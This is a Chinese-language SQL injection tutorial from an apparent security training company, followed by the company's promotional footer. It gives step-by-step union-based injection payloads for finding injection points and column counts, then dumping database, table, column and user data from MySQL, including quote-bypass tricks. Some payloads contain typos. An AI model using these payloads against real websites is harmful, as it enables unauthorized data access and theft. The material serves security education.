大数跨境

SQL注入基础

SQL注入基础 河北镌远网络科技有限公司
2019-11-07
1
导读:SQL注入基础

一、SQL相关概念

SQL:结构化查询语言,是一种特殊的编程语言,用于数据库中的标准数据查询语言。

SQL注入:是一种常见的web安全漏洞,攻击者利用这个漏洞可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击。

1.是一种将SQL语句插入或添加到应用/用户的输入参数中的攻击;

2.这些参数传递给后台的SQL数据库服务器加以解析并执行。

哪里存在SQL注入:

get

post:搜索、用户登录、发表、删除等

http头部注入

cookie注入

任何客户端可控,传递到服务器的变量,并且和数据库进行交互的都有可能存在注入。

原理:SQL注入的攻击行为可描述为通过用户可控参数中注入SQL语法,破坏原有的SQL结构,达到编写程序时出现意料之外结果的攻击行为。

成因:1.程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句。

2.未对用户可控参数进行足够的过滤便将参数内容拼接到SQL语句中。

危害:利用SQL注入漏洞,可以获取数据库中的多种信息,例如:管理员后台密码,从而脱取数据库中的内容。特殊情况下还可以修改数据库或插入内容到数据库;如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么还可以直接获取webshell或者服务器系统权限。可以直接访问读写文件。


二、SQL注入的分类

1.根据数据类型分类:

整形输入 ----数字  ?id=1 and 1=1  and1=2 页面不正常

字符型注入----字符 ?di=1’ and 1=1# and1=2# 页面不正常

2.按注入语法分类:

    联合查询注入

    报错注入

    布尔型注入

    基于时间延迟注入

       多语句查询注入

三、判断注入点





1. and 1=1 / and 1=2

2. 单引号判断 ’ 显示数据库错误信息或者页面回显不同

3. 转移符判断 \ 出现页面错误

4. +1/-1回显下一个或上一个页面(整型判断)

5. and sleep(5)  判断页面回显时间 


四、常用函数

select  user()           //返回当前连接数据库的用户名

select  session_user()  //返回当前连接数据库的用户名

select  database()     //当前的数据库名

select  version()     //返回数据库版本号

select  @@version    //返回数据库版本号

select  @@datadir   //返回当前数据库存放的路径

select  @@basedir  //返回当前数据库的安装目录 \win路径 /linux路径

@@version_compile_os  //当前操作系统的版本信息 

五、information_scheme库和select语句介绍

information_scheme  库 mysql  5.0版本后才出现的数据库,存放其他所有数据库的库名、表名和列名

第一个表:SCHEMATA   存放所有数据库的库名 (思给猫儿他)

字段:SCHEMATA_NAME  存放库名

第二个表:TABLES     存放所有数据库的表名

字段:TABLE_SCHEMA(存放库名)  TABLE_NAME(存放表名)

第三个表:COLUMNS    存放数据库的列名

字段:TBALE_SCHEMA(存放库名) TABLE_NAME(存放表明) COLUMU_NAME(存放列名)

联合查询必须由两条或两条以上的select语句组成

每个查询必须要有相同的列

会从查询结果集中自动去除重复行

联合查询利用前提必须要有显示位

六、SQL注入步骤

1.判断是否有注入。

   方法一: Id=1 and 1=1  页面无变化

                 and 1=2  页面不显示------------------整型注入

    Id=1 and 1=1# (%23/-- /--+)  页面无变化

         and 1=2          页面不显示--------------字符串型注入

    方法二:id =1 and 1  

            id = 1 and 0   

        id=1   爆出 ‘’1’’’   两边引号数量不一致字符型注入

2.确定列数(字段数)。排序判断 分组判断 盲判

   方法1id=1 order by 列数  (按照队列排序 默认升序排序)// 数字型注入

          id=1 order by 列数 # (按照队列排序 默认升序排序) //字符型注入

原理:select user_id, first_name, last_name from users order by 1 desc//按照第1列逆序排列(数字<=表达式数量) 由此可以用数字测出有几个表达式。 还可以指定表达式排序(可不是字段名噢)

方法2id=1  group by 列数      //数字型注入

       id=1 group by 列数 #     //字符型注入

     方法31 union select 1,2,3      //数字型注入(盲猜)

           1 union select1,2,3,#   //字符型注入

根据union的使用规则,两个select语句的表达式列数必须相同 因此也可以爆出对应的表达式的个数和暴露点。 

limit 5 limit0,5的缩写 (检索从0开始显示前5条记录)

limit 5,10  检索6-15行的数据  (从第6行开始向后查询10条信息)

limit 2,1  从第2行开始往后检索1条信息 (检索第三行的信息)

3.判断暴露点 显示位(一个爆点的情况下,爆出对应的数据)。根据第二步已经确定列数 这是需要确定暴露点(假设列数为3)。      

  则下选所示:

?id=1 union select 1,2,3        //数字型注入

          ?id=1 union select1,2,3,#      //字符型注入

   回显只显示一条信息 desc 倒序  默认升序

方法一:让 id= 变成假 1.添加 - 2. id = 1 and 1=2

select * from users where user_id=-1 union select 1,2,3 

id =1 and 1=2 union select 1,2,3

方法二:利用limit 0,1 0开始显示第1条记录为原理 limit 1,1 1开始显示第一条信息并注释掉后面的limit 0,1

id=1 union select * from users where 条件 union payload limit 1, 1#   //整型注入

id=1 union select user_id, first_name, last_name from users where user_id ='1' union select 1,2,3 limit 1, 1 # limit 0 , 1 ;  #  --空格 --+ %23 //在爆出的对应点输入要查询的数据

方法三:利用排序

id=1 union payload order by

id ='1' union select 1,2,3 order by 1  (1 代表哪一列 默认升序从下往上)    

4.获得显示位后开始利用显示位爆库名。 (一下查询不区分大小写)

-1 union select 1,database(),3        //数字型注入 获取数据库名字

    -1 union select1,user(),3,#      //字符型注入  获取数据库名

id=-1 union select 1,2,3, SCHEMA_NAME,5,6 from information_schema.SCHEMATA   //爆出所有库名 information_schema库的SCHEMATA表里存放了所有的库名。

id=-1 union select 1,2,3 group_concat(SCHEMA_NAME),4,5,6from infotmation_schema.SCHEMATA //group_concat 一列的内容显示在一行

一个爆点同时爆出多条信息

            select user_id, first_name, last_name from users where user_id ='-1' union select 1,concat(version(),;,database()),3 limit 0, 1;

 

5.获得表名。

    id='-1' union select1,2,3, group_concat(TABLE_NAME),5,6from information_schema.TABLES where TABLE_SCHEMA=库名 ' //获取某一个库的所有表 

 information_schema库中TABLES存放了所有的表名

注意:数库名可以用十六进制绕过单引号的限制!记得转换后前面加0x 工具:小葵

利用ascii绕过

     -1and (count(*)from information_schema.tables where table_schema='dvwa')>10#;

6.获取所有字段()  

'-1' union select1,2,3, group_concat(COLUMN_NAME),5,6from information_schema.COLUMNS where TABLE_SCHEMA='库名'and TABLE_NAME=表名 ;     //所有字段

information_schema库中COLUMNS存放了所有的列名    

7.获得数据。

    一个暴露点获取所有数据

  -1 union select1,2,3, group_concat(user_id), 5,6 from 表名#   //获取用户名


关于我们:

河北镌远网络科技有限公司(Hebei JYCYBER TechnologyCo.,Ltd.)是一家集人才、技术和经验于一体的,提供全面网络安全解决方案的专业服务商。镌远科技致力于为各行业的网络安全需求提供软件研发和通用解决方案,业务领域主要包括基础服务、咨询业务、产品研发和安全培训四大版块,各版块相互独立又相辅相成,完美阐释了“专业服务、全程服务、延伸服务”的服务体系和“单一业务与长远目标相融合”的服务理念。

 

关注镌远科技,关注网络安全!

 

河北地址:河北镌远网络科技有限公司

河北省邯郸市丛台区中华北大街193号慧谷大厦14层

总部地址:北京冠程科技有限公司

北京市昌平区科技园区东区产业基地企业墅上区一号楼九单元四层

实训基地:河北省石家庄市电子信息学校冠程科技研究与实训中心



欢迎扫描关注我们,及时了解更多关于网络安全相关知识


【声明】内容源于网络
0
0
河北镌远网络科技有限公司
河北镌远网络科技有限公司是一家集人才、经验、技术于一体的,提供全面系统集成解决方案的专业IT服务商。公司致力于为各个行业的业务信息化提供软件和通用解决方案、系统架构,系统管理和数据安全服务、以及IT咨询规划、系统集成与系统服务等专业化服务。
内容 582
粉丝 0
河北镌远网络科技有限公司 河北镌远网络科技有限公司是一家集人才、经验、技术于一体的,提供全面系统集成解决方案的专业IT服务商。公司致力于为各个行业的业务信息化提供软件和通用解决方案、系统架构,系统管理和数据安全服务、以及IT咨询规划、系统集成与系统服务等专业化服务。
总阅读554
粉丝0
内容582